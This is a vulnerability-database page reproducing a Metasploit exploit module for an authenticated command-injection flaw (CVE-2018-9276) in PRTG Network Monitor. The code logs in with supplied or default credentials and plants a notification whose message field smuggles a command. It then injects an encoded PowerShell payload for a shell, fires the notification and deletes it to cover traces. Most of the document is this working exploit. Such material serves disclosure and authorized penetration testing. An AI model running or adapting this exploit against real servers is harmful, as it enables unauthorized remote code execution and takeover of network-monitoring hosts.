Lucene search
K

PRTG Network Monitor Remote Code Execution

🗓️ 28 Jan 2021 00:00:00Reported by Josh BerryType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1204 Views

PRTG Network Monitor Authenticated RCE, allows remote code execution by creating malicious notification triggered by authenticated user. Vulnerable versions prior to 18.2.3

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/powershell'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "PRTG Network Monitor Authenticated RCE",  
'Description' => %q{  
Notifications can be created by an authenticated user and can execute scripts when triggered.  
Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user.  
The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform RCE using a Powershell payload.  
It may require a few tries to get a shell because notifications are queued up on the server.  
This vulnerability affects versions prior to 18.2.39. See references for more details about the vulnerability allowing RCE.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Josh Berry <josh.berry[at]codewatch.org>', # original discovery  
'Julien Bedel <contact[at]julienbedel.com>', # module writer  
],  
'References' =>  
[  
['CVE', '2018-9276'],  
['URL', 'https://www.codewatch.org/blog/?p=453']  
],  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Targets' =>  
[  
['Automatic Targeting', { 'auto' => true }]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 30 # because notification triggers are queuded up on the server  
},  
'DisclosureDate' => '2018-06-25'))  
  
register_options(  
[  
OptString.new('ADMIN_USERNAME', [true, 'The username to authenticate as', 'prtgadmin']),  
OptString.new('ADMIN_PASSWORD', [true, 'The password for the specified username', 'prtgadmin'])  
]  
)  
end  
  
def prtg_connect  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),  
'vars_post' => {  
'loginurl' => '',  
'username' => datastore['ADMIN_USERNAME'],  
'password' => datastore['ADMIN_PASSWORD']  
}  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
fail_with(Failure::Unreachable, 'Failed to reach remote host')  
ensure  
disconnect  
end  
  
if res && res.code == 302 && res.headers['LOCATION'] == '/home' && res.get_cookies  
@cookies = res.get_cookies.to_s  
print_good('Successfully logged in with provided credentials')  
vprint_status("Session cookies : #{@cookies}")  
else  
fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')  
end  
  
end  
  
def prtg_create_notification(cmd)  
uri = datastore['URI']  
  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'editsettings'),  
'cookie' => @cookies,  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
'name_' => Rex::Text.rand_text_alphanumeric(4..24),  
'active_' => '1',  
'schedule_' => '-1|None|',  
'postpone_' => '1',  
'summode_' => '2',  
'summarysubject_' => '[%sitename] %summarycount Summarized Notifications',  
'summinutes_' => '1',  
'accessrights_' => '1',  
'accessrights_201' => '0',  
'active_1' => '0',  
'addressuserid_1' => '-1',  
'addressgroupid_1' => '-1',  
'subject_1' => '[%sitename] %device %name %status %down (%message)',  
'contenttype_1' => 'text/html',  
'priority_1' => '0',  
'active_17' => '0',  
'addressuserid_17' => '-1',  
'addressgroupid_17' => '-1',  
'message_17' => '[%sitename] %device %name %status %down (%message)',  
'active_8' => '0',  
'addressuserid_8' => '-1',  
'addressgroupid_8' => '-1',  
'message_8' => '[%sitename] %device %name %status %down (%message)',  
'active_2' => '0',  
'eventlogfile_2' => 'application',  
'sender_2' => 'PRTG Network Monitor',  
'eventtype_2' => 'error',  
'message_2' => '[%sitename] %device %name %status %down (%message)',  
'active_13' => '0',  
'syslogport_13' => '514',  
'syslogfacility_13' => '1',  
'syslogencoding_13' => '1',  
'message_13' => '[%sitename] %device %name %status %down (%message)',  
'active_14' => '0',  
'snmpport_14' => '162',  
'snmptrapspec_14' => '0',  
'messageid_14' => '0',  
'message_14' => '[%sitename] %device %name %status %down (%message)',  
'active_9' => '0',  
'urlsniselect_9' => '0',  
'active_10' => '10',  
'address_10' => 'Demo EXE Notification - OutFile.ps1',  
'message_10' => "abcd; #{cmd}",  
'timeout_10' => '60',  
'active_15' => '0',  
'message_15' => '[%sitename] %device %name %status %down (%message)',  
'active_16' => '0',  
'isusergroup_16' => '1',  
'addressgroupid_16' => '200|PRTG Administrators',  
'ticketuserid_16' => '100|PRTG System Administrator',  
'subject_16' => '%device %name %status %down (%message)',  
'message_16' => 'Sensor: %name\r\nStatus: %status %down\r\n\r\nDate/Time: %datetime (%timezone)\r\nLast Result: %lastvalue\r\nLast Message: %message\r\n\r\nProbe: %probe\r\nGroup: %group\r\nDevice: %device (%host)\r\n\r\nLast Scan: %lastcheck\r\nLast Up: %lastup\r\nLast Down: %lastdown\r\nUptime: %uptime\r\nDowntime: %downtime\r\nCumulated since: %cumsince\r\nLocation: %location\r\n\r\n',  
'autoclose_16' => '1',  
'objecttype' => 'notification',  
'id' => 'new',  
'targeturl' => '/myaccount.htm?tabid=2'  
}  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
fail_with(Failure::Unreachable, 'Failed to reach remote host')  
ensure  
disconnect  
end  
  
if res && res.code == 200 && res.get_json_document['objid'] && !res.get_json_document['objid'].empty?  
@objid = res.get_json_document['objid']  
print_good("Created malicious notification (objid=#{@objid})")  
vprint_status("Payload : #{cmd}")  
else  
fail_with(Failure::Unknown, 'Failed to create malicious notification')  
end  
  
end  
  
def prtg_trigger_notification  
uri = datastore['URI']  
  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'api', 'notificationtest.htm'),  
'cookie' => @cookies,  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
'id' => @objid  
}  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
fail_with(Failure::Unreachable, 'Failed to reach remote host')  
ensure  
disconnect  
end  
  
if res && res.code == 200 && (res.to_s.include? 'EXE notification is queued up')  
print_good('Triggered malicious notification')  
else  
fail_with(Failure::Unknown, 'Failed to trigger malicious notification')  
end  
  
end  
  
def prtg_delete_notification  
uri = datastore['URI']  
  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'api', 'deleteobject.htm'),  
'cookie' => @cookies,  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
'id' => @objid,  
'approve' => '1'  
}  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
fail_with(Failure::Unreachable, 'Failed to reach remote host')  
ensure  
disconnect  
end  
  
if res  
print_good('Deleted malicious notification')  
else  
fail_with(Failure::Unknown, 'Failed to delete malicious notification')  
end  
  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['URI'], '/index.htm')  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
return CheckCode::Unknown  
ensure  
disconnect  
end  
  
if res && res.code == 200  
# checks for PRTG version in http headers first, if not found looks for it in html  
version_match = /\d{1,2}\.\d{1}\.\d{1,2}\.\d*/  
prtg_server_header = res.headers['Server']  
if prtg_server_header && prtg_server_header =~ version_match  
prtg_version = prtg_server_header[version_match]  
else  
html = res.get_html_document  
prtg_version_html = html.at('span[@class="prtgversion"]')  
if prtg_version_html && prtg_version_html.text =~ version_match  
prtg_version = prtg_version_html.text[version_match]  
end  
end  
  
if prtg_version  
vprint_status("Identified PRTG Network Monitor Version #{prtg_version}")  
if Gem::Version.new(prtg_version) < Gem::Version.new('18.2.39')  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
elsif (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')  
return CheckCode::Detected  
end  
end  
  
return CheckCode::Unknown  
end  
  
def exploit  
powershell_options = {  
#method: 'direct',  
remove_comspec: true,  
wrap_double_quotes: true,  
encode_final_payload: true  
}  
ps_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)  
prtg_connect  
prtg_create_notification(ps_payload)  
prtg_trigger_notification  
prtg_delete_notification  
print_status("Waiting for payload execution.. (#{datastore['WfsDelay']} sec. max)")  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jan 2021 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.87952
1204